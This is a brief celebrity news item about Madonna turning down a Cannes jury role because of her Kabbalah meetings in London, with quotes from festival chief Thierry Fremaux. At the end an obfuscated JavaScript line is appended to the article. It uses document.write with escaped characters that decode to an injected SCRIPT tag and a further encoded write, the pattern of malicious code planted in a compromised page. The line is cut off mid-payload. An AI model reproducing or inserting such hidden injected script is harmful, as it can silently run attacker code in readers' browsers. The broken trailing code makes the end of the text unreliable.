Madonna was offered a role on the Cannes Film Festival jury, but turned it down because didn't want to miss her Kabbalah meetings in London.
According to the Daily Mail festival chief Thierry Fremaux said: "We talked about her being on the jury, but her religion meant this could not happen. It is a regret because she has valuable knowledge.
"She would have to return to London every Saturday, or maybe it was every Friday, so for two days during our festival she would not be here and that could not work."
Madonna was also reported to be taking a documentary film based on her last tour to Cannes, but it was not finished in time.
Mr Fremaux added: "Madonna takes the cinema world seriously, she doesn't treat it in a superficial way. I saw three hours of film from the documentary in the form of rushes and some completed footage, but it wasn't ready."
Madonna has been a Kabbalist for nearly eight years and attends weekly meetings in London.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22